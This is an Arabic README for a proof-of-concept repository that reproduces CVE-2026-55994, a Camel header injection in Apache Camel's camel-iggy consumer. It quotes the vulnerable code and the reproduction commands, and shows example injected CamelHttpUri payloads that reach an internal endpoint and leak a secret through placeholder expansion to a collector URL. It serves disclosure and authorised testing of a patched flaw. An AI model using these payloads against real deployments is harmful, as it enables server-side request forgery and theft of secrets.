camel-iggy - أداة إعادة إنتاج حقن الرؤوس من قبل المستخدم (CVE-2026-55994)

يعرض هذا المشروع حقن رؤوس الرسائل في مكون camel-iggy الخاص بـ Apache Camel، والمُتتبع تحت CVE-2026-55994. يقوم مستهلك Iggy بنسخ رؤوس المستخدم للرسالة الواردة إلى Camel Exchange بدون أي HeaderFilterStrategy، لذلك يمكن لأي شخص قادر على النشر في موضوع Iggy المُستهلك حقن رؤوس تحكم Camel — وبشكل ملحوظ CamelHttpUri:

// IggyFetchRecords.createExchange (متأثر 4.18.2) — رؤوس مستخدم رسالة Iggy -> رؤوس Exchange، غير مصفاة
message.userHeaders().ifPresent(userHeaders -> {
    Map<String, Object> stringUserHeaders = userHeaders.entrySet().stream().collect(Collectors.toMap(
            e -> e.getKey(),
            e -> e.getValue().value()));
    exchange.getIn().setHeaders(stringUserHeaders);
});

عندما يقوم المسار بجسر هذا المستهلك إلى منتج HTTP، فإن CamelHttpUri المُحقون يستبدل URI الهدف للمنتج — تزوير طلب من جانب الخادم. كما يقوم منتج camel-http باستدعاء resolvePropertyPlaceholders() على هذا URI الذي يتحكم به المهاجم، لذلك يتم توسيع مرجع {{...}} المُحقون إلى قيمته الحقيقية وإرسالها — مما يكشف متغيرات البيئة، خصائص التطبيق، أو أسرار الخزنة.

يُظهر هذا المفهوم المبدئي التأثير على أنه SSRF بالإضافة إلى كشف الأسرار (CWE-20 → CWE-918 + CWE-200). وهو أحد ثلاثة مكونات شقيقة تم إصلاحها معًا تحت CAMEL-23532 (مع camel-vertx-websocket، CVE-2026-46726، و camel-atmosphere-websocket، CVE-2026-55993).

التنبيه: https://camel.apache.org/security/CVE-2026-55994.html

ملخص الثغرة

يقوم الإصلاح بتطبيق HeaderFilterStrategy على التعيين الوارد، وتصفية رؤوس Camel* / camel* بحيث لا يمكن حقنها بعد الآن من خلال رؤوس المستخدم لرسالة Iggy.

كيف يقوم هذا المفهوم المبدئي بتشغيل الكود الضعيف الحقيقي

يتم تشغيل IggyFetchRecords.createExchange(...) الضعيف بدون تغيير، على رسالة Iggy مزيفة تكون رؤوس المستخدم الخاصة بها تحت سيطرة المهاجم. يتدفق Exchange الناتج عبر المسار الحقيقي إلى منتج camel-http الحقيقي، لذا فإن SSRF وكشف عناصر نائبة {{...}} للخاصية حقيقيان.

لماذا لا يتم استخدام وسيط Iggy حي. يقوم doStart لمستهلك iggy: بفتح اتصال بخادم Iggy قيد التشغيل، لذلك لا يمكن للمسار البدء بدونه — ويتطلب خادم Apache Iggy io_uring، الذي يحجبه ملف seccomp الافتراضي لـ Docker (يعمل فقط مع --privileged)، مما يجعله غير مناسب لمفهوم مبدئي محمول وقابل للمشاركة. لا يحتاج createExchange الضعيف نفسه إلى وسيط، لذا يقوم المُشغل ببناء IggyFetchRecords الحقيقي ويناديه مباشرة بالرسالة المزيفة. يقوم المفهوم المبدئي الشقيق camel-vertx-websocket (CVE-2026-46726) بتشغيل العيب المطابق عبر نقل حي.

المسار الضحية

في نشر حقيقي: from("iggy:orders?streamName=demo&...").to("http://.../legit-backend"). هنا النصف النهري هو from("direct:iggy-delivery").to("http://localhost:8080/legit-backend")، ويتم تغذيته بـ Exchange المُسمم الذي بناه createExchange الحقيقي.

هيكل المستودع

CVE-2026-55994/
├── pom.xml                 # camel-iggy + camel-http 4.18.2
├── Dockerfile
├── docker-compose.yml      # خدمة واحدة مستقلة
├── README.md
└── src/main/
    ├── java/com/example/
    │   ├── Application.java
    │   ├── VictimRoute.java        # الرابط النهري -> http://localhost:8080/legit-backend
    │   ├── SinkController.java     # جامع SSRF: /legit-backend, /internal/secret, /collect
    │   └── ExploitController.java  # يزور رسالة Iggy + يشغل createExchange الحقيقي (يحقن CamelHttpUri)
    └── resources/
        └── application.properties  # app.secret=... (تم تسريبه عبر حل العناصر النائبة)

المتطلبات الأساسية

• Docker و Docker Compose
• Java 17+ و Maven 3.8+

خطوات إعادة الإنتاج

mvn clean package -DskipTests
docker compose up -d --build
curl -s http://localhost:8080/exploit/attack
docker compose down

المخرجات المتوقعة

1) رسالة عادية (رأس مستخدم x-order-id=A-1001)
     وصلت إلى /legit-backend: صحيح
     وصلت إلى /internal/secret: خطأ

2) رأس مستخدم محقون 'CamelHttpUri=http://localhost:8080/internal/secret'  (SSRF)
     طلب من جانب الخادم وصل إلى /internal/secret: صحيح

3) رأس مستخدم محقون 'CamelHttpUri=http://localhost:8080/collect?leak={{app.secret}}'  (كشف سر)
     تلقى جامع المهاجم التسريب = SUPER-SECRET-abc123
     يساوي السر الحقيقي للتطبيق: صحيح

>>> SSRF=true, secret-disclosure=true

الإصلاح الموصى به

الترقية إلى 4.18.3 / 4.21.0 (CAMEL-23532). بعد الترقية، يقوم المستهلك بتصفية رؤوس Camel* من رؤوس المستخدم لرسالة Iggy، لذلك لا يمكن حقن CamelHttpUri ورؤوس التحكم الأخرى بعد الآن.

التخفيف

حتى الترقية، لا تقم بجسر مستهلك iggy: مباشرة إلى منتج HTTP دون إزالة رؤوس تحكم Camel أولاً (على سبيل المثال removeHeaders("CamelHttp*"))، وقم بتعيين هدف المنتج من مصدر موثوق (أو استخدم bridgeEndpoint=true).

إخلاء المسؤولية

هذا المفهوم المبدئي مُقدم لأغراض البحث الأمني والاختبار المصرح به فقط، لثغرة مُعلنة علنًا ومُصلحة. لا تستخدمه ضد أنظمة دون إذن صريح.